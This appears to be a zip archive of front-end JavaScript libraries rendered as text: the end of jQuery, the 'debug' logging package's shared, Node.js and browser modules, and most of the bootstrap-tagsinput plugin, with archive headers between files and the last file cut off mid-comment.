		if ( selector === false || typeof selector === "function" ) {

			// ( types [, fn] )
			fn = selector;
			selector = undefined;
		}
		if ( fn === false ) {
			fn = returnFalse;
		}
		return this.each( function() {
			jQuery.event.remove( this, types, fn, selector );
		} );
	}
} );

return jQuery;
} );
PK=x�\4����	common.jsnu�[���
/**
 * This is the common logic for both the Node.js and web browser
 * implementations of `debug()`.
 */

function setup(env) {
	createDebug.debug = createDebug;
	createDebug.default = createDebug;
	createDebug.coerce = coerce;
	createDebug.disable = disable;
	createDebug.enable = enable;
	createDebug.enabled = enabled;
	createDebug.humanize = require('ms');
	createDebug.destroy = destroy;

	Object.keys(env).forEach(key => {
		createDebug[key] = env[key];
	});

	/**
	* The currently active debug mode names, and names to skip.
	*/

	createDebug.names = [];
	createDebug.skips = [];

	/**
	* Map of special "%n" handling functions, for the debug "format" argument.
	*
	* Valid key names are a single, lower or upper-case letter, i.e. "n" and "N".
	*/
	createDebug.formatters = {};

	/**
	* Selects a color for a debug namespace
	* @param {String} namespace The namespace string for the debug instance to be colored
	* @return {Number|String} An ANSI color code for the given namespace
	* @api private
	*/
	function selectColor(namespace) {
		let hash = 0;

		for (let i = 0; i < namespace.length; i++) {
			hash = ((hash << 5) - hash) + namespace.charCodeAt(i);
			hash |= 0; // Convert to 32bit integer
		}

		return createDebug.colors[Math.abs(hash) % createDebug.colors.length];
	}
	createDebug.selectColor = selectColor;

	/**
	* Create a debugger with the given `namespace`.
	*
	* @param {String} namespace
	* @return {Function}
	* @api public
	*/
	function createDebug(namespace) {
		let prevTime;
		let enableOverride = null;
		let namespacesCache;
		let enabledCache;

		function debug(...args) {
			// Disabled?
			if (!debug.enabled) {
				return;
			}

			const self = debug;

			// Set `diff` timestamp
			const curr = Number(new Date());
			const ms = curr - (prevTime || curr);
			self.diff = ms;
			self.prev = prevTime;
			self.curr = curr;
			prevTime = curr;

			args[0] = createDebug.coerce(args[0]);

			if (typeof args[0] !== 'string') {
				// Anything else let's inspect with %O
				args.unshift('%O');
			}

			// Apply any `formatters` transformations
			let index = 0;
			args[0] = args[0].replace(/%([a-zA-Z%])/g, (match, format) => {
				// If we encounter an escaped % then don't increase the array index
				if (match === '%%') {
					return '%';
				}
				index++;
				const formatter = createDebug.formatters[format];
				if (typeof formatter === 'function') {
					const val = args[index];
					match = formatter.call(self, val);

					// Now we need to remove `args[index]` since it's inlined in the `format`
					args.splice(index, 1);
					index--;
				}
				return match;
			});

			// Apply env-specific formatting (colors, etc.)
			createDebug.formatArgs.call(self, args);

			const logFn = self.log || createDebug.log;
			logFn.apply(self, args);
		}

		debug.namespace = namespace;
		debug.useColors = createDebug.useColors();
		debug.color = createDebug.selectColor(namespace);
		debug.extend = extend;
		debug.destroy = createDebug.destroy; // XXX Temporary. Will be removed in the next major release.

		Object.defineProperty(debug, 'enabled', {
			enumerable: true,
			configurable: false,
			get: () => {
				if (enableOverride !== null) {
					return enableOverride;
				}
				if (namespacesCache !== createDebug.namespaces) {
					namespacesCache = createDebug.namespaces;
					enabledCache = createDebug.enabled(namespace);
				}

				return enabledCache;
			},
			set: v => {
				enableOverride = v;
			}
		});

		// Env-specific initialization logic for debug instances
		if (typeof createDebug.init === 'function') {
			createDebug.init(debug);
		}

		return debug;
	}

	function extend(namespace, delimiter) {
		const newDebug = createDebug(this.namespace + (typeof delimiter === 'undefined' ? ':' : delimiter) + namespace);
		newDebug.log = this.log;
		return newDebug;
	}

	/**
	* Enables a debug mode by namespaces. This can include modes
	* separated by a colon and wildcards.
	*
	* @param {String} namespaces
	* @api public
	*/
	function enable(namespaces) {
		createDebug.save(namespaces);
		createDebug.namespaces = namespaces;

		createDebug.names = [];
		createDebug.skips = [];

		let i;
		const split = (typeof namespaces === 'string' ? namespaces : '').split(/[\s,]+/);
		const len = split.length;

		for (i = 0; i < len; i++) {
			if (!split[i]) {
				// ignore empty strings
				continue;
			}

			namespaces = split[i].replace(/\*/g, '.*?');

			if (namespaces[0] === '-') {
				createDebug.skips.push(new RegExp('^' + namespaces.slice(1) + '$'));
			} else {
				createDebug.names.push(new RegExp('^' + namespaces + '$'));
			}
		}
	}

	/**
	* Disable debug output.
	*
	* @return {String} namespaces
	* @api public
	*/
	function disable() {
		const namespaces = [
			...createDebug.names.map(toNamespace),
			...createDebug.skips.map(toNamespace).map(namespace => '-' + namespace)
		].join(',');
		createDebug.enable('');
		return namespaces;
	}

	/**
	* Returns true if the given mode name is enabled, false otherwise.
	*
	* @param {String} name
	* @return {Boolean}
	* @api public
	*/
	function enabled(name) {
		if (name[name.length - 1] === '*') {
			return true;
		}

		let i;
		let len;

		for (i = 0, len = createDebug.skips.length; i < len; i++) {
			if (createDebug.skips[i].test(name)) {
				return false;
			}
		}

		for (i = 0, len = createDebug.names.length; i < len; i++) {
			if (createDebug.names[i].test(name)) {
				return true;
			}
		}

		return false;
	}

	/**
	* Convert regexp to namespace
	*
	* @param {RegExp} regxep
	* @return {String} namespace
	* @api private
	*/
	function toNamespace(regexp) {
		return regexp.toString()
			.substring(2, regexp.toString().length - 2)
			.replace(/\.\*\?$/, '*');
	}

	/**
	* Coerce `val`.
	*
	* @param {Mixed} val
	* @return {Mixed}
	* @api private
	*/
	function coerce(val) {
		if (val instanceof Error) {
			return val.stack || val.message;
		}
		return val;
	}

	/**
	* XXX DO NOT USE. This is a temporary stub function.
	* XXX It WILL be removed in the next major release.
	*/
	function destroy() {
		console.warn('Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.');
	}

	createDebug.enable(createDebug.load());

	return createDebug;
}

module.exports = setup;
PK=x�\4Jtxxnode.jsnu�[���/**
 * Module dependencies.
 */

const tty = require('tty');
const util = require('util');

/**
 * This is the Node.js implementation of `debug()`.
 */

exports.init = init;
exports.log = log;
exports.formatArgs = formatArgs;
exports.save = save;
exports.load = load;
exports.useColors = useColors;
exports.destroy = util.deprecate(
	() => {},
	'Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.'
);

/**
 * Colors.
 */

exports.colors = [6, 2, 3, 4, 5, 1];

try {
	// Optional dependency (as in, doesn't need to be installed, NOT like optionalDependencies in package.json)
	// eslint-disable-next-line import/no-extraneous-dependencies
	const supportsColor = require('supports-color');

	if (supportsColor && (supportsColor.stderr || supportsColor).level >= 2) {
		exports.colors = [
			20,
			21,
			26,
			27,
			32,
			33,
			38,
			39,
			40,
			41,
			42,
			43,
			44,
			45,
			56,
			57,
			62,
			63,
			68,
			69,
			74,
			75,
			76,
			77,
			78,
			79,
			80,
			81,
			92,
			93,
			98,
			99,
			112,
			113,
			128,
			129,
			134,
			135,
			148,
			149,
			160,
			161,
			162,
			163,
			164,
			165,
			166,
			167,
			168,
			169,
			170,
			171,
			172,
			173,
			178,
			179,
			184,
			185,
			196,
			197,
			198,
			199,
			200,
			201,
			202,
			203,
			204,
			205,
			206,
			207,
			208,
			209,
			214,
			215,
			220,
			221
		];
	}
} catch (error) {
	// Swallow - we only care if `supports-color` is available; it doesn't have to be.
}

/**
 * Build up the default `inspectOpts` object from the environment variables.
 *
 *   $ DEBUG_COLORS=no DEBUG_DEPTH=10 DEBUG_SHOW_HIDDEN=enabled node script.js
 */

exports.inspectOpts = Object.keys(process.env).filter(key => {
	return /^debug_/i.test(key);
}).reduce((obj, key) => {
	// Camel-case
	const prop = key
		.substring(6)
		.toLowerCase()
		.replace(/_([a-z])/g, (_, k) => {
			return k.toUpperCase();
		});

	// Coerce string value into JS value
	let val = process.env[key];
	if (/^(yes|on|true|enabled)$/i.test(val)) {
		val = true;
	} else if (/^(no|off|false|disabled)$/i.test(val)) {
		val = false;
	} else if (val === 'null') {
		val = null;
	} else {
		val = Number(val);
	}

	obj[prop] = val;
	return obj;
}, {});

/**
 * Is stdout a TTY? Colored output is enabled when `true`.
 */

function useColors() {
	return 'colors' in exports.inspectOpts ?
		Boolean(exports.inspectOpts.colors) :
		tty.isatty(process.stderr.fd);
}

/**
 * Adds ANSI color escape codes if enabled.
 *
 * @api public
 */

function formatArgs(args) {
	const {namespace: name, useColors} = this;

	if (useColors) {
		const c = this.color;
		const colorCode = '\u001B[3' + (c < 8 ? c : '8;5;' + c);
		const prefix = `  ${colorCode};1m${name} \u001B[0m`;

		args[0] = prefix + args[0].split('\n').join('\n' + prefix);
		args.push(colorCode + 'm+' + module.exports.humanize(this.diff) + '\u001B[0m');
	} else {
		args[0] = getDate() + name + ' ' + args[0];
	}
}

function getDate() {
	if (exports.inspectOpts.hideDate) {
		return '';
	}
	return new Date().toISOString() + ' ';
}

/**
 * Invokes `util.formatWithOptions()` with the specified arguments and writes to stderr.
 */

function log(...args) {
	return process.stderr.write(util.formatWithOptions(exports.inspectOpts, ...args) + '\n');
}

/**
 * Save `namespaces`.
 *
 * @param {String} namespaces
 * @api private
 */
function save(namespaces) {
	if (namespaces) {
		process.env.DEBUG = namespaces;
	} else {
		// If you set a process.env field to null or undefined, it gets cast to the
		// string 'null' or 'undefined'. Just delete instead.
		delete process.env.DEBUG;
	}
}

/**
 * Load `namespaces`.
 *
 * @return {String} returns the previously persisted debug modes
 * @api private
 */

function load() {
	return process.env.DEBUG;
}

/**
 * Init logic for `debug` instances.
 *
 * Create a new `inspectOpts` object in case `useColors` is set
 * differently for a particular `debug` instance.
 */

function init(debug) {
	debug.inspectOpts = {};

	const keys = Object.keys(exports.inspectOpts);
	for (let i = 0; i < keys.length; i++) {
		debug.inspectOpts[keys[i]] = exports.inspectOpts[keys[i]];
	}
}

module.exports = require('./common')(exports);

const {formatters} = module.exports;

/**
 * Map %o to `util.inspect()`, all on a single line.
 */

formatters.o = function (v) {
	this.inspectOpts.colors = this.useColors;
	return util.inspect(v, this.inspectOpts)
		.split('\n')
		.map(str => str.trim())
		.join(' ');
};

/**
 * Map %O to `util.inspect()`, allowing multiple lines if needed.
 */

formatters.O = function (v) {
	this.inspectOpts.colors = this.useColors;
	return util.inspect(v, this.inspectOpts);
};
PK=x�\�>"�zz
browser.jsnu�[���/* eslint-env browser */

/**
 * This is the web browser implementation of `debug()`.
 */

exports.formatArgs = formatArgs;
exports.save = save;
exports.load = load;
exports.useColors = useColors;
exports.storage = localstorage();
exports.destroy = (() => {
	let warned = false;

	return () => {
		if (!warned) {
			warned = true;
			console.warn('Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.');
		}
	};
})();

/**
 * Colors.
 */

exports.colors = [
	'#0000CC',
	'#0000FF',
	'#0033CC',
	'#0033FF',
	'#0066CC',
	'#0066FF',
	'#0099CC',
	'#0099FF',
	'#00CC00',
	'#00CC33',
	'#00CC66',
	'#00CC99',
	'#00CCCC',
	'#00CCFF',
	'#3300CC',
	'#3300FF',
	'#3333CC',
	'#3333FF',
	'#3366CC',
	'#3366FF',
	'#3399CC',
	'#3399FF',
	'#33CC00',
	'#33CC33',
	'#33CC66',
	'#33CC99',
	'#33CCCC',
	'#33CCFF',
	'#6600CC',
	'#6600FF',
	'#6633CC',
	'#6633FF',
	'#66CC00',
	'#66CC33',
	'#9900CC',
	'#9900FF',
	'#9933CC',
	'#9933FF',
	'#99CC00',
	'#99CC33',
	'#CC0000',
	'#CC0033',
	'#CC0066',
	'#CC0099',
	'#CC00CC',
	'#CC00FF',
	'#CC3300',
	'#CC3333',
	'#CC3366',
	'#CC3399',
	'#CC33CC',
	'#CC33FF',
	'#CC6600',
	'#CC6633',
	'#CC9900',
	'#CC9933',
	'#CCCC00',
	'#CCCC33',
	'#FF0000',
	'#FF0033',
	'#FF0066',
	'#FF0099',
	'#FF00CC',
	'#FF00FF',
	'#FF3300',
	'#FF3333',
	'#FF3366',
	'#FF3399',
	'#FF33CC',
	'#FF33FF',
	'#FF6600',
	'#FF6633',
	'#FF9900',
	'#FF9933',
	'#FFCC00',
	'#FFCC33'
];

/**
 * Currently only WebKit-based Web Inspectors, Firefox >= v31,
 * and the Firebug extension (any Firefox version) are known
 * to support "%c" CSS customizations.
 *
 * TODO: add a `localStorage` variable to explicitly enable/disable colors
 */

// eslint-disable-next-line complexity
function useColors() {
	// NB: In an Electron preload script, document will be defined but not fully
	// initialized. Since we know we're in Chrome, we'll just detect this case
	// explicitly
	if (typeof window !== 'undefined' && window.process && (window.process.type === 'renderer' || window.process.__nwjs)) {
		return true;
	}

	// Internet Explorer and Edge do not support colors.
	if (typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/(edge|trident)\/(\d+)/)) {
		return false;
	}

	// Is webkit? http://stackoverflow.com/a/16459606/376773
	// document is undefined in react-native: https://github.com/facebook/react-native/pull/1632
	return (typeof document !== 'undefined' && document.documentElement && document.documentElement.style && document.documentElement.style.WebkitAppearance) ||
		// Is firebug? http://stackoverflow.com/a/398120/376773
		(typeof window !== 'undefined' && window.console && (window.console.firebug || (window.console.exception && window.console.table))) ||
		// Is firefox >= v31?
		// https://developer.mozilla.org/en-US/docs/Tools/Web_Console#Styling_messages
		(typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/) && parseInt(RegExp.$1, 10) >= 31) ||
		// Double check webkit in userAgent just in case we are in a worker
		(typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/));
}

/**
 * Colorize log arguments if enabled.
 *
 * @api public
 */

function formatArgs(args) {
	args[0] = (this.useColors ? '%c' : '') +
		this.namespace +
		(this.useColors ? ' %c' : ' ') +
		args[0] +
		(this.useColors ? '%c ' : ' ') +
		'+' + module.exports.humanize(this.diff);

	if (!this.useColors) {
		return;
	}

	const c = 'color: ' + this.color;
	args.splice(1, 0, c, 'color: inherit');

	// The final "%c" is somewhat tricky, because there could be other
	// arguments passed either before or after the %c, so we need to
	// figure out the correct index to insert the CSS into
	let index = 0;
	let lastC = 0;
	args[0].replace(/%[a-zA-Z%]/g, match => {
		if (match === '%%') {
			return;
		}
		index++;
		if (match === '%c') {
			// We only are interested in the *last* %c
			// (the user may have provided their own)
			lastC = index;
		}
	});

	args.splice(lastC, 0, c);
}

/**
 * Invokes `console.debug()` when available.
 * No-op when `console.debug` is not a "function".
 * If `console.debug` is not available, falls back
 * to `console.log`.
 *
 * @api public
 */
exports.log = console.debug || console.log || (() => {});

/**
 * Save `namespaces`.
 *
 * @param {String} namespaces
 * @api private
 */
function save(namespaces) {
	try {
		if (namespaces) {
			exports.storage.setItem('debug', namespaces);
		} else {
			exports.storage.removeItem('debug');
		}
	} catch (error) {
		// Swallow
		// XXX (@Qix-) should we be logging these?
	}
}

/**
 * Load `namespaces`.
 *
 * @return {String} returns the previously persisted debug modes
 * @api private
 */
function load() {
	let r;
	try {
		r = exports.storage.getItem('debug');
	} catch (error) {
		// Swallow
		// XXX (@Qix-) should we be logging these?
	}

	// If debug isn't set in LS, and we're in Electron, try to load $DEBUG
	if (!r && typeof process !== 'undefined' && 'env' in process) {
		r = process.env.DEBUG;
	}

	return r;
}

/**
 * Localstorage attempts to return the localstorage.
 *
 * This is necessary because safari throws
 * when a user disables cookies/localstorage
 * and you attempt to access it.
 *
 * @return {LocalStorage}
 * @api private
 */

function localstorage() {
	try {
		// TVMLKit (Apple TV JS Runtime) does not have a window object, just localStorage in the global context
		// The Browser also has localStorage in the global context.
		return localStorage;
	} catch (error) {
		// Swallow
		// XXX (@Qix-) should we be logging these?
	}
}

module.exports = require('./common')(exports);

const {formatters} = module.exports;

/**
 * Map %j to `JSON.stringify()`, since no Web Inspectors do that by default.
 */

formatters.j = function (v) {
	try {
		return JSON.stringify(v);
	} catch (error) {
		return '[UnexpectedJSONParseError]: ' + error.message;
	}
};
PKOz�\z� �W�Wbootstrap-tagsinput.jsnu�[���(function ($) {
  "use strict";

  var defaultOptions = {
    tagClass: function(item) {
      return 'label label-info';
    },
    itemValue: function(item) {
      return item ? item.toString() : item;
    },
    itemText: function(item) {
      return this.itemValue(item);
    },
    itemTitle: function(item) {
      return null;
    },
    freeInput: true,
    addOnBlur: true,
    maxTags: undefined,
    maxChars: undefined,
    confirmKeys: [13, 44],
    delimiter: ',',
    delimiterRegex: null,
    cancelConfirmKeysOnEmpty: false,
    onTagExists: function(item, $tag) {
      $tag.hide().fadeIn();
    },
    trimValue: false,
    allowDuplicates: false
  };

  /**
   * Constructor function
   */
  function TagsInput(element, options) {
    this.isInit = true;
    this.itemsArray = [];

    this.$element = $(element);
    this.$element.hide();

    this.isSelect = (element.tagName === 'SELECT');
    this.multiple = (this.isSelect && element.hasAttribute('multiple'));
    this.objectItems = options && options.itemValue;
    this.placeholderText = element.hasAttribute('placeholder') ? this.$element.attr('placeholder') : '';
    this.inputSize = Math.max(1, this.placeholderText.length);

    this.$container = $('<div class="bootstrap-tagsinput"></div>');
    this.$input = $('<input type="text" placeholder="' + this.placeholderText + '"/>').appendTo(this.$container);

    this.$element.before(this.$container);

    this.build(options);
    this.isInit = false;
  }

  TagsInput.prototype = {
    constructor: TagsInput,

    /**
     * Adds the given item as a new tag. Pass true to dontPushVal to prevent
     * updating the elements val()
     */
    add: function(item, dontPushVal, options) {
      var self = this;

      if (self.options.maxTags && self.itemsArray.length >= self.options.maxTags)
        return;

      // Ignore falsey values, except false
      if (item !== false && !item)
        return;

      // Trim value
      if (typeof item === "string" && self.options.trimValue) {
        item = $.trim(item);
      }

      // Throw an error when trying to add an object while the itemValue option was not set
      if (typeof item === "object" && !self.objectItems)
        throw("Can't add objects when itemValue option is not set");

      // Ignore strings only containg whitespace
      if (item.toString().match(/^\s*$/))
        return;

      // If SELECT but not multiple, remove current tag
      if (self.isSelect && !self.multiple && self.itemsArray.length > 0)
        self.remove(self.itemsArray[0]);

      if (typeof item === "string" && this.$element[0].tagName === 'INPUT') {
        var delimiter = (self.options.delimiterRegex) ? self.options.delimiterRegex : self.options.delimiter;
        var items = item.split(delimiter);
        if (items.length > 1) {
          for (var i = 0; i < items.length; i++) {
            this.add(items[i], true);
          }

          if (!dontPushVal)
            self.pushVal();
          return;
        }
      }

      var itemValue = self.options.itemValue(item),
          itemText = self.options.itemText(item),
          tagClass = self.options.tagClass(item),
          itemTitle = self.options.itemTitle(item);

      // Ignore items allready added
      var existing = $.grep(self.itemsArray, function(item) { return self.options.itemValue(item) === itemValue; } )[0];
      if (existing && !self.options.allowDuplicates) {
        // Invoke onTagExists
        if (self.options.onTagExists) {
          var $existingTag = $(".tag", self.$container).filter(function() { return $(this).data("item") === existing; });
          self.options.onTagExists(item, $existingTag);
        }
        return;
      }

      // if length greater than limit
      if (self.items().toString().length + item.length + 1 > self.options.maxInputLength)
        return;

      // raise beforeItemAdd arg
      var beforeItemAddEvent = $.Event('beforeItemAdd', { item: item, cancel: false, options: options});
      self.$element.trigger(beforeItemAddEvent);
      if (beforeItemAddEvent.cancel)
        return;

      // register item in internal array and map
      self.itemsArray.push(item);

      // add a tag element

      var $tag = $('<span class="tag ' + htmlEncode(tagClass) + (itemTitle !== null ? ('" title="' + itemTitle) : '') + '">' + htmlEncode(itemText) + '<span data-role="remove"></span></span>');
      $tag.data('item', item);
      self.findInputWrapper().before($tag);
      $tag.after(' ');

      // Check to see if the tag exists in its raw or uri-encoded form
      var optionExists = (
        $('option[value="' + encodeURIComponent(itemValue) + '"]', self.$element).length ||
        $('option[value="' + htmlEncode(itemValue) + '"]', self.$element).length
      );

      // add <option /> if item represents a value not present in one of the <select />'s options
      if (self.isSelect && !optionExists) {
        var $option = $('<option selected>' + htmlEncode(itemText) + '</option>');
        $option.data('item', item);
        $option.attr('value', itemValue);
        self.$element.append($option);
      }

      if (!dontPushVal)
        self.pushVal();

      // Add class when reached maxTags
      if (self.options.maxTags === self.itemsArray.length || self.items().toString().length === self.options.maxInputLength)
        self.$container.addClass('bootstrap-tagsinput-max');

      // If using typeahead, once the tag has been added, clear the typeahead value so it does not stick around in the input.
      if ($('.typeahead, .twitter-typeahead', self.$container).length) {
        self.$input.typeahead('val', '');
      }

      if (this.isInit) {
        self.$element.trigger($.Event('itemAddedOnInit', { item: item, options: options }));
      } else {
        self.$element.trigger($.Event('itemAdded', { item: item, options: options }));
      }
    },

    /**
     * Removes the given item. Pass true to dontPushVal to prevent updating the
     * elements val()
     */
    remove: function(item, dontPushVal, options) {
      var self = this;

      if (self.objectItems) {
        if (typeof item === "object")
          item = $.grep(self.itemsArray, function(other) { return self.options.itemValue(other) ==  self.options.itemValue(item); } );
        else
          item = $.grep(self.itemsArray, function(other) { return self.options.itemValue(other) ==  item; } );

        item = item[item.length-1];
      }

      if (item) {
        var beforeItemRemoveEvent = $.Event('beforeItemRemove', { item: item, cancel: false, options: options });
        self.$element.trigger(beforeItemRemoveEvent);
        if (beforeItemRemoveEvent.cancel)
          return;

        $('.tag', self.$container).filter(function() { return $(this).data('item') === item; }).remove();
        $('option', self.$element).filter(function() { return $(this).data('item') === item; }).remove();
        if($.inArray(item, self.itemsArray) !== -1)
          self.itemsArray.splice($.inArray(item, self.itemsArray), 1);
      }

      if (!dontPushVal)
        self.pushVal();

      // Remove class when reached maxTags
      if (self.options.maxTags > self.itemsArray.length)
        self.$container.removeClass('bootstrap-tagsinput-max');

      self.$element.trigger($.Event('itemRemoved',  { item: item, options: options }));
    },

    /**
     * Removes all items
     */
    removeAll: function() {
      var self = this;

      $('.tag', self.$container).remove();
      $('option', self.$element).remove();

      while(self.itemsArray.length > 0)
        self.itemsArray.pop();

      self.pushVal();
    },

    /**
     * Refreshes the tags so they match the text/value of their corresponding
     * item.
     */
    refresh: function() {
      var self = this;
      $('.tag', self.$container).each(function() {
        var $tag = $(this),
            item = $tag.data('item'),
            itemValue = self.options.itemValue(item),
            itemText = self.options.itemText(item),
            tagClass = self.options.tagClass(item);

          // Update tag's class and inner text
          $tag.attr('class', null);
          $tag.addClass('tag ' + htmlEncode(tagClass));
          $tag.contents().filter(function() {
            return this.nodeType == 3;
          })[0].nodeValue = htmlEncode(itemText);

          if (self.isSelect) {
            var option = $('option', self.$element).filter(function() { return $(this).data('item') === item; });
            option.attr('value', itemValue);
          }
      });
    },

    /**
     * Returns the items added as tags
     */
    items: function() {
      return this.itemsArray;
    },

    /**
     * Assembly value by retrieving the value of each item, and set it on the
     * element.
     */
    pushVal: function() {
      var self = this,
          val = $.map(self.items(), function(item) {
            return self.options.itemValue(item).toString();
          });

      self.$element.val(val, true).trigger('change');
    },

    /**
     * Initializes the tags input behaviour on the element
     */
    build: function(options) {
      var self = this;

      self.options = $.extend({}, defaultOptions, options);
      // When itemValue is set, freeInput should always be false
      if (self.objectItems)
        self.options.freeInput = false;

      makeOptionItemFunction(self.options, 'itemValue');
      makeOptionItemFunction(self.options, 'itemText');
      makeOptionFunction(self.options, 'tagClass');

      // Typeahead Bootstrap version 2.3.2
      if (self.options.typeahead) {
        var typeahead = self.options.typeahead || {};

        makeOptionFunction(typeahead, 'source');

        self.$input.typeahead($.extend({}, typeahead, {
          source: function (query, process) {
            function processItems(items) {
              var texts = [];

              for (var i = 0; i < items.length; i++) {
                var text = self.options.itemText(items[i]);
                map[text] = items[i];
                texts.push(text);
              }
              process(texts);
            }

            this.map = {};
            var map = this.map,
                data = typeahead.source(query);

            if ($.isFunction(data.success)) {
              // support for Angular callbacks
              data.success(processItems);
            } else if ($.isFunction(data.then)) {
              // support for Angular promises
              data.then(processItems);
            } else {
              // support for functions and jquery promises
              $.when(data)
               .then(processItems);
            }
          },
          updater: function (text) {
            self.add(this.map[text]);
            return this.map[text];
          },
          matcher: function (text) {
            return (text.toLowerCase().indexOf(this.query.trim().toLowerCase()) !== -1);
          },
          sorter: function (texts) {
            return texts.sort();
          },
          highlighter: function (text) {
            var regex = new RegExp( '(' + this.query + ')', 'gi' );
            return text.replace( regex, "<strong>$1</strong>" );
          }
        }));
      }

      // typeahead.js
      if (self.options.typeaheadjs) {
          var typeaheadConfig = null;
          var typeaheadDatasets = {};

          // Determine if main configurations were passed or simply a dataset
          var typeaheadjs = self.options.typeaheadjs;
          if ($.isArray(typeaheadjs)) {
            typeaheadConfig = typeaheadjs[0];
            typeaheadDatasets = typeaheadjs[1];
          } else {
            typeaheadDatasets = typeaheadjs;
          }

          self.$input.typeahead(typeaheadConfig, typeaheadDatasets).on('typeahead:selected', $.proxy(function (obj, datum) {
            if (typeaheadDatasets.valueKey)
              self.add(datum[typeaheadDatasets.valueKey]);
            else
              self.add(datum);
            self.$input.typeahead('val', '');
          }, self));
      }

      self.$container.on('click', $.proxy(function(event) {
        if (! self.$element.attr('disabled')) {
          self.$input.removeAttr('disabled');
        }
        self.$input.focus();
      }, self));

        if (self.options.addOnBlur && self.options.freeInput) {
          self.$input.on('focusout', $.proxy(function(event) {
              // HACK: only process on focusout when no typeahead opened, to
              //       avoid adding the typeahead text as tag
              if ($('.typeahead, .twitter-typeahead', self.$container).length === 0) {
                self.add(self.$input.val());
                self.$input.val('');
              }
          }, self));
        }


      self.$container.on('keydown', 'input', $.proxy(function(event) {
        var $input = $(event.target),
            $inputWrapper = self.findInputWrapper();

        if (self.$element.attr('disabled')) {
          self.$input.attr('disabled', 'disabled');
          return;
        }

        switch (event.which) {
          // BACKSPACE
          case 8:
            if (doGetCaretPosition($input[0]) === 0) {
              var prev = $inputWrapper.prev();
              if (prev.length) {
                self.remove(prev.data('item'));
              }
            }
            break;

          // DELETE
          case 46:
            if (doGetCaretPosition($input[0]) === 0) {
              var next = $inputWrapper.next();
              if (next.length) {
                self.remove(next.data('item'));
              }
            }
            break;

          // LEFT ARROW
          case 37:
            // Try to move the input before the previous tag
            var $prevTag = $inputWrapper.prev();
            if ($input.val().length === 0 && $prevTag[0]) {
              $prevTag.before($inputWrapper);
              $input.focus();
            }
            break;
          // RIGHT ARROW
          case 39:
            // Try to move the input after the next tag
            var $nextTag = $inputWrapper.next();
            if ($input.val().length === 0 && $nextTag[0]) {
              $nextTag.after($inputWrapper);
              $input.focus();
            }
            break;
         default:
             // ignore
         }

        // Reset internal input's size
        var textLength = $input.val().length,
            wordSpace = Math.ceil(textLength / 5),
            size = textLength + wordSpace + 1;
        $input.attr('size', Math.max(this.inputSize, $input.val().length));
      }, self));

      self.$container.on('keypress', 'input', $.proxy(function(event) {
         var $input = $(event.target);

         if (self.$element.attr('disabled')) {
            self.$input.attr('disabled', 'disabled');
            return;
         }

         var text = $input.val(),
         maxLengthReached = self.options.maxChars && text.length >= self.options.maxChars;
         if (self.options.freeInput && (keyCombinationInList(event, self.options.confirmKeys) || maxLengthReached)) {
            // Only attempt to add a tag if there is data in the field
            if (text.length !== 0) {
               self.add(maxLengthReached ? text.substr(0, self.options.maxChars) : text);
               $input.val('');
            }

            // If the field is empty, let the event triggered fire as usual
            if (self.options.cancelConfirmKeysOnEmpty === false) {
                event.preventDefault();
            }
         }

         // Reset internal input's size
         var textLength = $input.val().length,
            wordSpace = Math.ceil(textLength / 5),
            size = textLength + wordSpace + 1;
         $input.attr('size', Math.max(this.inputSize, $input.val().length));
      }, self));

      // Remove icon clicked
      self.$container.on('click', '[data-role=remove]', $.proxy(function(event) {
        if (self.$element.attr('disabled')) {
          return;
        }
        self.remove($(event.target).closest('.tag').data('item'));
      }, self));

      // Only add existing value as tags when using strings as tags
      if (self.options.itemValue === defaultOptions.itemValue) {
        if (self.$element[0].tagName === 'INPUT') {
            self.add(self.$element.val());
        } else {
          $('option', self.$element).each(function() {
            self.add($(this).attr('value'), true);
          });
        }
      }
    },

    /**
     * Removes all tagsinput behaviour and unregsiter all event handlers
     */
    destroy: function() {
      var self = this;

      // Unbind events
      self.$container.off('keypress', 'input');
      self.$container.off('click', '[role=remove]');

      self.$container.remove();
      self.$element.removeData('tagsinput');
      self.$element.show();
    },

    /**
     * Sets focus on the tagsinput
     */
    focus: function() {
      this.$input.focus();
    },

    /**
     * Returns the internal input element
     */
    input: function() {
      return this.$input;
    },

    /**
     * Returns the element which is wrapped around the internal input. This
     * is normally the $container, but typeahead.js moves the $input element.
     */
    findInputWrapper: function() {
      var elt = this.$input[0],
          container = this.$container[0];
      while(elt && elt.parentNode !== container)
        elt = elt.parentNode;

      return $(elt);
    }
  };

  /**
   * Register JQuery plugin
   */
  $.fn.tagsinput = function(arg1, arg2, arg3) {
    var results = [];

    this.each(function() {
      var tagsinput = $(this).data('tagsinput');
      // Initialize a new tags input
      if (!tagsinput) {
          tagsinput = new TagsInput(this, arg1);
          $(this).data('tagsinput', tagsinput);
          results.push(tagsinput);

          if (this.tagName === 'SELECT') {
              $('option', $(this)).attr('selected', 'selected');
          }

          // Init tags from $(this).val()
          $(this).val($(this).val());
      } else if (!arg1 && !arg2) {
          // tagsinput already exists
          // no function, trying to init
          results.push(tagsinput);
      } else if(tagsinput[arg1] !== undefined) {
          // Invoke function on existing tags input
            if(tagsinput[arg1].length === 3 && arg3 !== undefined){
               var retVal = tagsinput[arg1](arg2, null, arg3);
            }else{
               var retVal = tagsinput[arg1](arg2);
            }
          if (retVal !== undefined)
              results.push(retVal);
      }
    });

    if ( typeof arg1 == 'string') {
      // Return the results from the invoked function calls
      return results.length > 1 ? results : results[0];
    } else {
      return results;
    }
  };

  $.fn.tagsinput.Constructor = TagsInput;

  /**
   * Most options support both a string or number as well as a function as
   * option value. This function makes sure that the option with the given
   * key in the given options is wrapped in a function
   */
  function makeOptionItemFunction(options, key) {
    if (typeof options[key] !== 'function') {
      var propertyName = options[key];
      options[key] = function(item) { return item[propertyName]; };
    }
  }
  function makeOptionFunction(options, key) {
    if (typeof options[key] !== 'function') {
      var value = options[key];
      options[key] = function() { return value; };
    }
  }
  /**
   * HtmlEncodes the given value
   */
  var htmlEncodeContainer = $('<div />');
  function htmlEncode(value) {
    if (value) {
      return htmlEncodeContainer.text(value).html();
    } else {
      return '';
    }
  }

  /**
   * Returns the position of the caret in the given input field
